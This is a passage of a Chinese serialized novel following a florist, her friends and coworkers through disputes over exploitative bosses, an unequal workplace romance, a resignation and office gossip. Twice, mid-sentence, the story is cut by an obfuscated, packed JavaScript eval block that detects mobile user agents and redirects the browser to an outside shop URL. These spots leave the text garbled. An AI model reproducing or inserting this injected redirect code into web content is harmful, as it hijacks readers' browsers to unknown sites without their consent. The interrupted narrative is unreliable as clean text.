杨树奇最反感的是饭桌上吴媛吐槽员工,在吴媛嘴里仿佛她就没遇到过一个好人。吴媛说:“现在的年轻小姑娘哦,都是高不成低不就,没本事还脾气大。技术又不是多厉害,还老想一些有的没的,又要固定假啊,让她加班就摆脸色。招合适的花艺师太不容易了,没经验的你不想要,招来有经验的培养出来了又容易不负责任跑了,养不熟。对员工好点,人家还觉得是应该的,把她们脾气都惯大了。客户也越来越难伺候,没钱就别买花啊,给一点点钱还一堆要求,做生意真难!”席间也有几个店主附和。 杨树奇只是觉得好笑。当店主之前总上过班吧?自己上班的时候,也没觉得要拼死拼活给老板卖命啊!本市鲜花这一行,除了拿到投资的连锁大店,小店基本没有给员工交社保的,大多是做六休一、没有法定假,工作时间多是早九点到晚九点,花店工作本就很辛苦。她想,吴媛能说出这种话,那应该也没给员工多少薪水,怎么好意思提“培养”“惯坏”这种词?太把自己当回事了吧。人家员工本来就有经验和手艺,是你从什么都不懂栽培起来的吗?人家不到你这里上班,也不愁找不到其他工作吧?都不知道工资有没有按时发,过节加班给不给补贴,就先说员工脾气大了。说到固定休息日,杨树奇认识的花店店主都给固定休息日,要不是吴媛这么讲,还真不知道有不给固定休的事。真是“佩服”吴媛,把人用到极致,让人随时待命?难怪能赚到钱!对来店里的有钱客户不都挺谄媚的?到员工这边就成“养不熟”了?人家付出劳动,你本就该付报酬,还扯上“养”和“养不熟”?都不知道有没有和员工签合同呢!人家员工能在这种待遇下干活,真是太有耐心、太能忍耐了。背后议论客户的私事和是非,那就更……总之,杨树奇去了一次吴媛的饭局,就再也不去了。她不太想和吴媛来往,更不敢承吴媛的情——按吴媛背后议论人的风格,自己可别吃了顿饭就被说三道四了! 杨树奇发现朋友圈作品被吴媛盗图时,很是生气,直接截图质问吴媛。吴媛却觉得杨树奇太清高,认为这圈子都是“你拿我的图、我拿你的图”,大家互相帮助、一起赚钱,别人都没像杨树奇这样专门来问的。杨树奇听了这番话,不想再多说什么——拿图都不屏蔽对方的人,她还真没遇到几个。 杨妈劝杨树奇别生气,说这一行很乱、从业门槛低,很多人没念过什么书,素质差的人太多。她经常和杨树奇一起去花市进货,和那些老板都熟,花市的八卦比《知音》《故事会》还精彩:轧姘头的、寻花问柳的、进口花商虚开发票进局子的、在外瞎搞偷税出事结果还是老婆去捞人的……杨妈说,这一行太辛苦,要不是杨树奇转行做这行,这辈子也不会遇到这么多不体面的人。杨树奇反驳杨妈:“您这时候就别搞学历歧视、别瞧不上做小生意的了。做哪一行都是讨口饭吃,我做外贸时也遇到过各色披着体面皮的烂人,没有谁比谁高贵。您是运气好,外公外婆都是工程师,您也念过大学、进了单位,单位里就算有不好的人,也会装装样子。就别再说哪一行的人素质差了,大家都是人,都在按自己的方式讨生活呢。” 这次赵秋和杨树奇说起萱萱的事,杨树奇并不意外——在这一行给私人店铺打工,本就没什么保障和前途。她自己是在三年前通过不断进修和去各地学习,把生意重心转向了商业美陈装置和花园园艺设计服务,花店只保留着,节假日做做生意,平时由她妈妈和一位固定店员管理。她给这位店员缴了五险一金,加班和法定节假日都严格遵循劳动法,她知道大部分私人花店做不到这点。而她也是因为转型后收入增加,才请人看店——以前为了节约成本,店里只有她和妈妈,忙时才请兼职。 杨树奇让赵秋问问萱萱的想法:是想继续找花店打工,还是自己开店?目前的环境下,开实体店可能不太合适——要投入一笔钱,线下生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988377|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意难做,线上平台抽成高,低价网单店又抢占了大部分市场;如果继续给别的店打工,大环境如此,私人花店待遇普遍不好,换一家店最好的情况也只是老板比吴媛好相处些;或许只能找连锁花店上班,至少会缴社保,这是基本保障。但连锁花店工作也十分辛苦,得长远考虑。另外,想在这一行走得远,还是要跟国内外知名老师学习,考出国内外认可的相关证书——杨树奇自己每年在学习上的花费可不少。 杨树奇犹豫了一下,对赵秋说:“你妹妹很有勇气,也很努力。至少她之前有想法就去尝试了,肯定也是因为喜欢才会坚持做下去。这一行准入门槛低,在小地方待遇和福利非常不好。妹妹还年轻,当初没上大学,现在还能通过自考或者继续教育考试学习。如果可以,咱们看看有没有工时合理、有正常假期、有基本社保保障的文职工作。复州工厂多,看能不能找到,这样周末妹妹也可以继续学习,通过自考取得文凭。她想做与花相关的工作,可以在空闲时候来我这边,我给她兼职薪水。手艺就像游泳一样,学会了丢水里就能浮起来,不会荒废。当务之急,是让妹妹有份稳定的工作,一份不那么辛苦、不会过度消耗她精神和身体的工作。关键还是看妹妹自己的想法吧。” 赵秋听了,觉得这倒是自己一直没有想到的角度。她向杨树奇表示感谢,说会联系萱萱,好好和她商量。杨树奇对她说,有任何问题都可以联系自己。 杨树奇不再和吴媛来往是两年前的事了。杨树奇不觉得她们是朋友,不过算是认识的同行。自她成功转向装置艺术方向后,吴媛更加频繁地以自来熟的姿态打电话来探听各种生意消息,每次都会强调一句:“大家关系这么好,都是朋友嘛。”吴媛偶尔会点几杯奶茶送到杨树奇的店里,杨树奇明确对她说过不要再这样,并表示自己不喜欢欠人情,既不喜欢麻烦别人,也不喜欢被别人麻烦。饶是如此,吴媛总是我行我素,还会补上一句:“大家都是朋友嘛,你老喜欢和别人分得那么清楚干嘛。” 两年前那次,吴媛突然来到杨树奇店里,那天杨树奇刚好在。吴媛买了些水果、零食和奶茶带过来,热络地和杨妈打招呼,夸杨妈年轻。杨树奇不明白她为何不请自来,心想她可能又是有事要用到自己。果然,吴媛是来邀杨树奇吃饭的,说有朋友同行们在杨树奇店附近组局,想一起吃个饭。杨树奇一直拒绝不掉,加上杨妈也劝她去,最终还是去了。 席间,来了位姓王的男士,是吴媛以前的老板——她曾在王老板的公司工作过八年。王老板表现得很有江湖气,到处敬酒,说话一套一套的。这几年服装生意不好做,他想看看鲜切花这行有没有机会,便让吴媛帮忙组局打探信息。杨树奇全程感到非常不适,却也突然明白了之前从吴媛身上感到不适的来源,反而不再那么讨厌她了。 只是一顿饭的功夫,杨树奇就看出这男人傲慢又势利,四处打探别人隐私,还动辄提起“我有一个朋友……” 杨树奇一直不喜欢吴媛,她觉得吴媛对人总有一种使用感,仿佛别人都是工具。吴媛会毫无负担地在背后贬低自己的女性朋友,也会和同行批评每一位员工。她需要的是有资源、能对自己事业有帮助的人。她频繁提起“我认得”“我熟人”“我朋友”,不过是想让旁人误以为她和那些“朋友”一样“高贵”,显得自己高人一等。那些所谓的“朋友”,不过是她给自己贴金的工具罢了? 后来杨树奇想明白了,可能吴媛和很多做生意的男人一样,只是恰好她是个女人而已。 她想到自己工作中遇到的很多生意场上的男人,嘴上称兄道弟,心里全是利益算计。面对有利用价值和没利用价值的人,他们截然不同。他们不是无缘无故欺负人,而是掂量对方无权无势、反抗成本高,才敢肆意拿捏——真是“坦荡”呢!他们会在能立威的时候立刻发威,整完自己看不上的人后,心里舒畅了,又唱起圣歌,到处宣扬爱与包容,劝诫周围人要悲悯、善良、有大爱,仿佛自己过得好是命运对其“慈悲”的奖赏。他们对下属想要的“稳定”,不是做得越好待遇越好、利益共享,而是让对方习惯那种“不怎么好又不算极端差”的状态,以此让对方维持忍耐。可忍耐久了,必然会爆发。 他们与人交往的功利性太强了。 这次饭局后,杨树奇坚定地不再与吴媛来往。吴媛也对不同同行和花市老板说过杨树奇的是非。但杨树奇不再理会这些,她只想专注自己的生活——那些传闻于她又有什么影响? 赵秋妹妹的事,对杨树奇来说在意料之中。功利□□往的人很多,但一边功利□□往、一边想博个好名声的人很可笑;一边功利□□往、一边想让别人感恩戴德的人更荒谬;甚至还要给功利□□往披上“家人”“妹妹”的糖衣。吴媛不就是仗着萱萱在江城无依无靠,才敢这样对待她吗?一面想让萱萱竭力劳动,一面又想要她的情感感激。 杨树奇听过吴媛的往事——每次饭局,吴媛都会讲起。十六岁时,吴媛在远亲的饭店没日没夜地干活,被当作“杀鸡儆猴”的对象。亲戚美其名曰培养她,说因为是“自己人”才这样严格,是为她好,还说不管她、放任她才是害她。欺负一个孤儿,让未成年的孩子每天工作十几个小时,却觉得自己赏了口饭吃就功德无量——就是这种所谓的亲戚。在那种环境下,吴媛半年后即便拿不到钱也逃了。 杨树奇不知道,吴媛现在的所作所为和她那位亲戚当初的做法有什么区别?难道吴媛觉得自己吃过这种苦,员工凭什么不能吃这种苦,没资格喊冤?还是说,只要在情感上被定义为“自己人”,就可以随便对待,可劲使用?杨树奇不理解:所谓“自己人”,不该是互相尊重吗?任意欺负的,从来不是“自己人”,是好控制的道具。 说着“自己人”,都没把别人当人,这算什么“自己人”? 可是比起王老板那些人,比起杨树奇遇到的那么多生意场老板,吴媛是多么可恶的坏人吗?吴媛不过是无数普通的、不被爱护的女孩的缩影之一。 在吴媛做了八年的公司,那个王老板本质就是个商人,还是个获得无数好处、取得好结果的商人。他曾对吴媛做过同样的事——把人当工具的使用。吴媛的确从那个老板身上学到了一些的生存手段自保,不过她是商人也做产品,且她的商品是用了心思的,有自己要求和标准,显得比王老板像点人样。吴媛是一个一直在失去的人,一个本应该受保护却被损害的人。 论恶劣,吴媛重男轻女的家庭、那个乡下环境——拿着她父亲遗产却不给她交学费,让她十四岁就去外地打工,却纵容已成年哥哥在家闲玩的祖父母;怕引火上身、轻描淡写说着“不上学没所谓,出去打工好了”的叔伯;觉得“自己是外嫁人,侄女念不念书是娘家闲事”而袖手旁观的姑妈们。父亲这边的亲人靠不住,她转而向母亲那边的舅舅求助,却被舅舅嫌晦气、像打发粘在身上的苍耳般敷衍——舅舅让她去学校哭,对着老师校长哭,在全班同学面前哭诉家庭苦难,能免学费就读,否则就认命,还骂她“要什么自尊心,想念书就自己想办法,别麻烦别人”。可她才十四岁啊! 她怎么算得上恶呢?如果说她恶,那是因为无数恶因恶意恶果像榨菜籽油一样,把她榨干后的渣都要利用,去埋花肥。他们把她埋在地里,却嘲弄她“不够好”,不像别人家的孩子能“结花挂果,修成正道”。 披着人皮的是被虫驻空的病树,假作南天门的柱子,代表天神的威权降下天罚,把最不该受伤的人又挤又碾,直到擵进泥里,还讥讽她为何不认命,凭什么对命运降下的刑罚不服,为什么想过好生活。如果这里无数受过“天罚”之苦的人能零落成泥碾作尘,你凭什么想有转机?你为什么不承受、不忍受、不接受命的打击与人的欺辱?为什么不当命贱的落水狗,等待无数石子投掷?明明谁都可以不计后果地欺侮你——如果命运对你如此残忍,他人的欺侮便无成本,你困陷的污泥塘,就是没有约束的法外之地,没有人来救你,你居然想逃出去。你越挣扎,他们越兴奋——他们只会想:凭什么,凭什么你不认命? 最不该被伤害的人被伤害,踏上未知的命途求生,遇到无数的磨难和恶意;那些拜高踩低、势利攀附、傲慢又充满优越感、不把别人当人的人,却得到好处。如果拿到好处的都是这种人,过上好生活的都是这种人,那么在这种环境下,杨树奇不觉得自己有资格去评价吴媛。只是最不该被伤害的人选择了她能看到的“有用”的路,然后她也伤害了最不该被伤害的人。吴媛那句“我们在江城都没有家人,我把你当自己人”,也许是有过一丝不多的真心吧。这让杨树奇更加讨厌无数的“王老板”,以及让“王老板”们风生水起的生意环境。 杨树奇不再和吴媛来往,只是因为她们不是一路人,而非吴媛有多恶劣或多良善。杨树奇始终不觉得自己有资格评价别人的善恶——如果是自己处在吴媛的处境,能否像吴媛一样坚强求生、顽强辟路呢? 赵秋和萱萱商量后,萱萱考虑了很久。后来,赵秋和石唯四处托高中同学帮忙,给萱萱找了份防护用品工厂的文职,担任生产文员。这份工作有法定假期、缴纳社保,薪水不算多,但萱萱很满意。萱萱还咨询了继续教育学院,准备自考文凭。她不想放弃花艺,打算等生活稳定后攒钱找机会继续进修学习,也许有一天会拥有自己的店铺。赵秋只是鼓励她,说她还很年轻,有机会就争取,有困难就寻求亲友的帮助,自己会一直支持她,无论是经济上还是精神上。 萱萱抱着赵秋,强忍着眼泪。赵秋拍拍妹妹的背,她知道,妹妹的委屈有很多很多。她没有对萱萱说的是,她希望萱萱能放下过去的伤痛,和一个好年轻人谈一场好的恋爱,过年轻人的生活,充满开心与活力生活。 10. 夜雨声 石唯在陈齐这边工作三年了。她前年从外地回来后,在私立学校教过两个月的日语,不太喜欢这份工作。这期间,她和陈齐在银行偶遇,聊了聊。他俩一直有联系,算是关系不错的朋友——因为石唯的名字,陈齐总是拆字喊她“口口”“二口”或“二鸟”。石唯大三精神状况很不好的时候,陈齐打电话向她咨询专业问题,听出了她的不对劲。那时候石唯把社交软件上除赵秋之外的所有同学都删掉了,陈齐却一直锲而不舍地加她社交账号,电话联系上后还劝她及时去看心理医生。后来,石唯收到了陈齐寄来的护身符。 高中时,陈齐是个很活跃的同学,广交朋友,也讨老师喜欢。他嘴巴非常毒,也许是那时候流行用“毒舌”来彰显个性,但在同学们情绪低落的时候,他很擅长鼓励人。 三年前,陈齐刚回来做自己的事业,从前一家公司积累了不少客户。他和石唯聊起自己在做的事情,提到目前产品研发部那边没有合适的人选,还问石唯有没有花艺师推荐——他之前就听说石唯学过花艺,也见过石唯朋友圈经常发外出布展的活动照片。石唯向他推荐了几个熟识的人,陈齐都不太满意。后来,陈齐劝石唯亲自过来帮他,表示虽然石唯一直没有全职做花艺行业,但每年都有外出学习,还帮朋友做过各种活动积累了不少经验。两人就这样开始合作,工作上相处得很不错。陈齐算是个好老板,他自己爱自由,也不喜欢限制别人。公司不到十人,福利很好,难得的是实行做四休三的工作制度,三年来无人离职。 公司这半年除了常规的各式婚礼仿真花产品,一直在开发永生花礼品。陈齐之前参展时看到别的公司这一块做得很好,用永生苔藓做的工艺品很受日本客户欢迎,他也想涉足这一块。石唯这半年比较辛苦,加班较多,既要顾旧的业务,又要开发新产品,一直在打样。 因为大多时候在仓库打样,只有上下班打卡时去前面办公室里,石唯很少参与同事们的八卦。最近,陈齐出差了,是去日本参加展会和拜访客户。那天中午,石唯去茶水间用微波炉热饭,听到一两个同事在议论事情,大概听了些信息。陈齐去出差她是知道的,但陈齐带着小纪去出差,她没想到。 小纪从本市的院校毕业没多久,进公司四个月,职务是财务助理。她是外地女孩,来自单亲家庭。陈齐带小纪出差在同事间引发的议论多围绕小纪,但石唯更不理解陈齐。 陈齐和小纪出差回来,他还带了不少伴手礼给同事们,顺带通知了端午节福利的发放。他去仓库那边找石唯。 “口口,最近怎么样?都还顺吗?接下来还是多开发些永生花产品,婚礼仿真花我们产品够多了,暂时不用再上新了。喏,我还给你带了苹果年轮蛋糕,记得你之前找代购买过的。”陈齐在把礼盒放在操作台,推向石唯那边。 “很顺啊,你出差期间,我不是一直给你发邮件回复进度嘛。谢谢你的蛋糕。”石唯整理台面,并没拿过礼盒,也没看他。 陈齐看了石唯一会儿,问道:“你有事想跟我说吗?可以直接讲。” “小纪不会日文,也不是业务部的同事,你带小纪去出差……”石唯开口问。 “哦,我晓得你要说什么。嗯,我在追她,我觉得小纪人蛮好的。前段时间家里老头子作妖要和我后妈离婚,好找个年轻点的人结第四次婚,我回去和他扯皮了。我真觉得丢脸。没多久老头子轻微中风,这事也就不了了之。也许人病了就想得多,我姐姐们都回来看他,他把我们姐弟几个叫到一起,说打算把家里的工厂和地都卖了,正式退休,钱大头都给我。他希望我早点成家。恋爱嘛,我一直没断过,现在我也觉得该成家生小孩了,我姐也一直劝我。就是这么个情况。你是我的朋友,这么多年了,我们也都知道彼此的性格,你多站在我的角度想想,把你想说的话憋回去,我就当你什么都没说。”陈齐没看着石唯,他在花材分类架子那边扒拉着材料,捻着花瓣。 石唯不知道说什么了。公司仓库门在工作时间从来不关,为的是避免职权侵扰;陈齐办公室也是透明玻璃门,员工进去时,百叶窗从来都是拉上去的,同样是为了避免职权侵扰。可他现在追小纪,这明显是不对等的权力关系,而且小女孩刚毕业,在这边也没有亲人,他不知道自己这样会给对方多大压力吗? “小纪才刚满二十吧?她比你快小十三岁呢。”石唯问陈齐。 陈齐叹了口气,说道:“小唯,我知道你想说什么。我不需要你现在以朋友的角度和我对话,也不打算在以后任何时刻接受你以朋友的身份和我讨论这件事——这本就是我的私事。” 石唯忍不住还是问了一句:“你在欧洲的那两年工作也是这样吗?如果你还在欧洲,你敢这样吗?” 陈齐开始和石唯对骂,说年龄差再大自己也是清清白白谈恋爱,不像她做了第三者,说她最没资格说别人。 陈齐骂石唯:“只知道你喜欢淘古着,没想到谈恋爱还找人演‘意难忘’,找了个‘古着’故人当男朋友,男朋友还是别人的老公!该说你恋爱谈少了所以会犯蠢呢,还是说你知道有火星子不踩熄,不怕引火烧身呢?” 陈齐要石唯不要试图讨论道德,在世俗评价体系里,她已经是在第十九层地狱了。他问她:“宝贝,你到底清不清楚?在复州,以你的专业和技能,出过严重道德风险的事情之后,你根本不可能找到除了我的公司之外更适合你的工作,你已经社会性死亡了!你让父母和家庭蒙羞,你家人都不一定从内心接纳你吧?做过第三者在这个小城就是你一生的污点,就算被骗也是你的错!” 他要她搞清楚自己的处境再考虑要不要当圣人。他还说:“难怪高二的时候你们要多管闲事帮那个高三的女生,原来命运早就下了注脚——你也终于有一天搞了破鞋。” 打扫卫生的胡阿姨在仓库门口伸着头听完了全程。 陈齐说的事情是发生在他们高二时。某天晚自习后,石唯找了很久钥匙,才意识到钥匙锁在了租住处。此时同学们都已经离开,赵秋一直在等她。了解情况后,赵秋带她去自己住处过夜。 赵秋租住在校内一位老师家。老师们住的是早期学校建的福利房,面积很大。快走到时,她们发现三五个女孩在拉扯一位女孩——抓头发,扯衣服。赵秋和石唯连忙上前阻止:石唯挡在为首那个放狠话的女孩前面,赵秋则脱下外套包在那个女孩的上身。那女孩默默流泪没有哭出声。这时,楼上的老师听到动静下楼,打着手电筒询问情况,那几个女孩见状散去,走的时候还放狠话“你跟老子等到!”石唯的脸被对方女孩的指甲剐了一道口子。 第二天,消息在学校传开了:襄江中学的几个女孩来堵高三女生小林,称她“第三者”,为首女孩控诉小林勾引自己的男友(因发现男友社交软件小号与小林聊天密切,还开了情侣空间)。关于被打的高三师姐,传言更是离谱:因她在高二元旦汇演时和同班同学表演了韩国女团舞《nobody》,竟有同学说“舞跳得不正经,果然不是好人”;至于赵秋和石唯,则被传成“高二的两头蠢猪,瞎管闲事,管了该打的人”。赵秋和石唯听到这些一时语塞。赵秋心疼石唯脸上的大口子:“都被挖走一块肉了!”石唯说:“脸上的小坑是小时候意外烫的,只是昨天被剜在了同个位置,没被挖走肉。” 赵秋劝石唯别多想:“不要理那群不知道情况乱讲的乌合之众。以多欺少就不要说什么正义了。同为女生,扯别人衣服羞辱叫无耻,而且说别人是什么第三者就更搞笑了。怎么不去把开小号广泛撒网集中捕捞的男友揍个饱餐?吃饱了撑的,真是吃得起亏,下了晚自习还跑六公里过来堵人,正义个头!还有那些议论高三师姐的同学才是没脑子的蠢物——文艺汇演学校都让上舞台跳了,你审美和那个舞不合是你的事,跳个舞还上升到人品了?‘果然不是好人’?果然个头!果然是一群欺软怕硬,喜欢踩别人的恶心家伙,自己不知道有没有道德就满口道德的。” 石唯震惊于陈齐能说出这些话,拿这件往事来羞辱她。更没想到他们同学和朋友的情谊比陈年的报纸还脆。 回到办公室工位,石唯开始整理资料。她统计了下,自入职以来,自己打样无数,开发了三百多款产品;规范了仓库材料管理,每个产品的配件材料都是按她的配比表标注,整理了材料购买链接及来源;指导工人阿姨们制作,远程视频支持合作工厂制作,还多次出差协助生产——研发部几乎是她从无到有搭建起来的。 陈齐说的好像这份工作是他的施舍,他在胡说什么?他用她,难道不是因为需要她的专业和技能?他这么清高,当初要她来工作,用上多年同学情谊来说动她来帮忙,如今嫌弃她有道德瑕疵不配做人?当初说着帮帮他,现在说是施舍我?石唯觉得可笑。她看了眼后续工作计划:陈齐运气好,现在产品足够多,暂时无需上新,他“不忙了”,是不需要她的不忙了。石唯准备好交接资料,给陈齐发了邮件。 工作交接完毕,陈齐也没留她。他说“公司缺了谁都行,谁提了离职就立马滚,承重墙是我。”大家都小心翼翼地抬眼看着他们。 说不难过是骗人的。那时石唯和梁挥的事结束有一段时间了,公司里也知道了——胡阿姨的儿子和梁挥相识。公司有一些较难处理的单独订单会直接在公司制作,不委托给合作工厂。这种时候,会聘请十多个兼职阿姨,由石唯指导她们一起完成产品。胡阿姨一直对这些兼职阿姨不太客气。她是正式职工,有各类福利保障,话里行间还会提起自己当年念过高中,看不上基本没怎么念过书的兼职阿姨。 去年中秋节,人事给兼职阿姨们都发了月饼礼盒。胡阿姨在仓库打扫时,和一位兼职阿姨起了口角——兼职阿姨的脚没及时挪开,影响了她工作。兼职阿姨解释自己忙着干活并非故意,指责胡阿姨平时就对她们不客气,不是炫耀自己念过高中,就是炫耀自己儿子有本事,顺带贬低她们这些兼职阿姨。吵闹升级,两人恨不得动起手来。胡阿姨激动地嚷道:“你们本来就是兼职的,工作有今天没明天,我哪有看不起你们?这边就不应该发月饼给你们。”这话一说,其他阿姨都不依了,纷纷加入“战局”。 石唯赶来时场面混乱。问清楚情况后,她批评了胡阿姨,强调有问题应好好沟通,不能贬低兼职阿姨不应该得到月饼:“大家来干活都是平等的,月饼就是阿姨们应得的,上班没有谁比谁高贵。”这下胡阿姨被气到了,大骂石唯:“你高贵?你了不起?你有什么资格说我?你算个什么东西!你一个搞破鞋的,以为公司其他人不知道?怎么也轮不到你这种下等人来教训我!”这话一说,众人都不作声了。胡阿姨哭着要找老板告状,称石唯欺负她,歧视打扫阿姨。 胡阿姨在办公室一闹,事情便传开了。当时陈齐很生气,把胡阿姨叫到办公室训了一通。事后,他安慰石唯,让她有任何事情都可以同他讲,别把自己逼得太紧。 过去了这么久,没人料到是这种结局。石唯起身离开时,胡阿姨拿着抹布来擦她工位,低声嘀咕:“有的人哦,就是烂在地里头的南瓜——滂臭。”陈齐听到厉声呵斥:“胡阿姨,您家不要撩是惹非!” 石唯就当没听到,也不再回头。 这天上班时,赵秋的同事孙姐吐槽:“今天办业务的那个人哦,也不看自己好大年纪了,喊我‘阿姨’,真是受不了。自己不找下镜子照照,手那么粗,一看就是事做多了的手,啧啧,还喊别个‘阿姨’。” “还有哦,小费今年刚进来的,才将将22岁啊,有时候那些来办业务的学生也是搞笑,都念大学了,对着小费喊‘阿姨,您好’。都什么事嘛,这些人真是有意思得很呢!小费,你说是不是?”孙姐感冒了,一激动声音抬高,不知是嗓子不舒服还是怎样,打了个喷嚏,又咳了几下,“噗”地一口痰吐到她旁边的垃圾桶里。她打喷嚏也不用手肘挡,吐痰也不用卫生纸包。 小费嫌恶地看了眼垃圾桶,似乎会有病毒通过空气飞到自己这边来。“孙姐,我觉得没什么。那些学生刚从高中到大学,离开家庭独立生活,一时转换不过来身份很正常,不一定是觉得我显老或有恶意,可能只是习惯喊‘阿姨’。人要接纳自己、爱自己,不能玻璃心,‘阿姨’这词没什么不好,我不觉得别人叫我阿姨是歧视什么的,谁叫我都能接受。”小费用酒精湿巾又擦了擦桌子,看着电脑屏幕说完这番话。 孙姐有些不高兴,瞥了眼小费:“小费,你好有包容心哟,难怪是留洋学艺术回来的。”她又看了眼赵秋,说道:“小赵,你上班这几年没少被叫‘阿姨’吧?” 赵秋回道:“对女性的年龄歧视是社会问题,从我们小时候到现在都蛮严重的。这些词汇本质不是坏词,根源也不在于我们女人不能接纳自己,要社会风气改变才行。不能厌老恐弱,也不要有针对女性的容貌羞辱。改变不良风气,大家才都有好日子过。” 这话让孙姐和小费都不高兴了。孙姐觉得赵秋在批评她责怪了那些喊‘阿姨’的人,才说那些人不是根源;小费觉得赵秋在批评自己有优越感,不该认为自己比孙姐更进步。 没多久,小费离开了办公室去卫生间,发信息向朋友吐槽:“办公室一大姐真是搞笑哦,和我妈差不多大,还纠结客户喊不喊她‘阿姨’,装年轻不油腻吗?就是不能接纳自己,对年龄有什么好不甘心的。还有个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三年前一起吃饭,陈齐喝了不少酒。席间除了叙旧,他也讲了很多自己的事。 陈齐大学念的是西语专业,学费是他三姐给的,因为他爸不同意他的专业选择,放话“不听家里的就不给学费”。他爸的想法很简单:陈齐是独子,学家里选的专业,毕业就回来接手工厂生意。陈齐一向与他爸关系不好——他妈妈去世还没两个月,他爸就在亲戚介绍下再婚,娶了一位年纪相仿的女士,没几年又离婚,娶了更年轻的后妈。在母亲意外离世前几个月的新年,陈齐陪她逛庙会,路边到处是支着摊子算卦看相的师父。陈母被拉着看了相,师父说她是福相,“都不说享老公福了,以后还能享儿子福,儿子以后孝顺得很呢!”陈母那天很开心,陈齐也一直拉着妈妈的手。母亲去世后,陈齐厌恶一切什么算命还有求神拜佛之类的事务。在陈齐眼里,自己的爹就是个混蛋——当初发家的钱都是问舅舅借的,他怎么能毫无负担地迅速再婚?而陈父觉得,自己花钱养育四个小孩,且未再生育,已对得起陈齐。 大学毕业后,陈齐去欧洲留学并工作了两年,回国后做外贸,从未拿过陈父的钱。他在一家外贸公司做业务时,遇到了一位赏识他的老板。这位老板目标性极强,精力旺盛,善用一切资源。陈齐明显感受到老板对男员工的偏爱与对女员工的厌恶:老板会嘲笑物流部的头儿:“你都没拿到好处就敢付出真心,难怪会被骗!不怪你嫁不出去。”同样的事情,男女员工做后得到的反馈截然不同,很明显,老板对公司的女性尤为苛刻。老板情绪也不太稳定,每次开会可以持续骂人五个小时;心情不好时骂完要把人开掉,给了赔偿就要员工滚,可一两个月招不到合适的人时,又哭着打电话说加薪水求对方再回来。这老板加薪大方,不少同事离职后又返岗。老板也擅长用温柔优雅的姿态,骂出最直白难听的话。公司生意一直很好,老板更擅长见人说人话、见鬼说鬼话,为自己打造有好几套“人设”,对不同的同事说自己不同的“经历”:“父母双亡,自强不息,艰苦创业,全靠自己”“家境优渥,父母疼爱,人生宽广,易如反掌”“前夫出轨,独自育儿,梅开二度,嫁入豪门”等多个版本。 陈齐本来就当她是神经病,心想只要拿到应得的薪水和奖金就行。但在多次一同出差、老板频繁向他示好及日常照顾提携下,他和这位已婚的老板发展出一段亲密关系,这让他痛苦不堪。离职两个月后,老板哭着求他回去,说他“不可以抛弃公司、抛弃我”,并再次加薪。然而不到三个月,老板又因“理念不合”开除了他——过程客气,她都不敢对他说一句重话。他拿到了一笔怎么算都不算不出来的离职补偿金,数额惊人。陈齐觉得好笑:“是封口费吗?”其实同事们早就察觉异常,不过事情浮到水面上来源于另一件事:公司行政采购用的是老板的私人账号,有次,采购的小姑娘误点购物网站,发现同一公司关联账号无需重复登录,而老板私人账号的购物记录中,隐私物品的收货方赫然是陈齐的姓名、地址和电话。小姑娘见状,迅速点了屏幕右上角的叉,关掉页面! 陈齐认为这段关系让他受到了严重的伤害和折磨,他不介意别人说他无耻,但他的羞愧、愤怒还有痛苦的感受是真切的。 “我当时在想,他说这些是想从我们俩身上获得什么呢?是因为我们是朋友,所以可以对我们展示自己的脆弱,还是以他对我们的了解知道我们并不会指责他或者说出过激的话?”赵秋给石唯倒了杯精酿。 “他知道我们不会对外讲,他的示弱反而让我觉得他真的很在意自己的名声。那天我们都没有说什么——尽管我相信他的痛苦是真实的。”赵秋拿起杯子喝了一口,“这也是我和你一样无法理解他这次行为的原因。” “我都滚了,后续的事情和我不相干了。我再好好考虑以后的事情吧。”石唯也喝了一口。 晚饭后,赵秋坚持陪石唯回家。石唯觉得搞笑,赵秋戴着头盔骑着电动车跟在自己的电动车后。她从后院摘了些黄瓜和栀子花让赵秋带走,又切了几枝开得正盛的白特里昂菲特百合包好递给她。赵秋抱了抱石唯:“没关系,马上过十五了,去我那边吃饭,我们烧新的排骨菜式。” 最近多雨,夜里下起雨来。石唯睡的这间前屋的雨棚换过一次,也有二十多年了。 从来雨天睡觉最安心。 是什么感觉呢,是你什么时候醒过来都不会有一觉没有到天亮的倦和怨;不管醒过来是黑黢黢一片,还是听到断续的狗吠和猫叫,只要雨打雨棚“嘚、嘚、嘚”的声在,就会想着我托的是人身,原来是投胎在世上做人。这样便就着雨声翻身继续睡去。 11. 端午 水田乡往事 端午节要到了,路边摊和超市都卖起了粽子。本地常吃的是清水白粽,煮好了泡在清水里保存,吃的时候用一根筷子戳起粽子蘸一圈白糖,有一股清淡的粽叶香气。 赵秋在路边摊试吃水果后,买了些农户自种的李子——一个个鲜红色、个头小小的果子,看上去有点活泼。刚把袋子挂在电动车上,江群打电话过来了。 “下班了吧?你怎么都不回我消息?”江群开口就说。 “我买菜呢,要不是付钱还真没注意手机信息。您有什么事?说吧。” “哎哟,现在你们俩还自己开火了?我还担心离了老的,你们都是吃外卖呢。马上过十五,你记得和杜雨回来给亲戚屋里送茶。你要去乡里看你爹爹奶奶就自己安排,我不过去。你几个姑妈打电话说提前找个星期天过来送茶,我和你爸打算到宾馆开个麻将房,好安排她们打牌。到时候,你和杜雨也过来玩一下,一起吃饭,或者你看你们想不想打牌。” “好,我心里有数。我抽时间提前过去送茶,到时候就不去和你们打牌吃饭了。” “怎么了,杜雨开车过来或者你自己开车不是方便得很吗?我们这里又不是什么大地方,隔得很远吗?你们不一起过来?怎么回事?”江群不解。 “您就不要问了。” 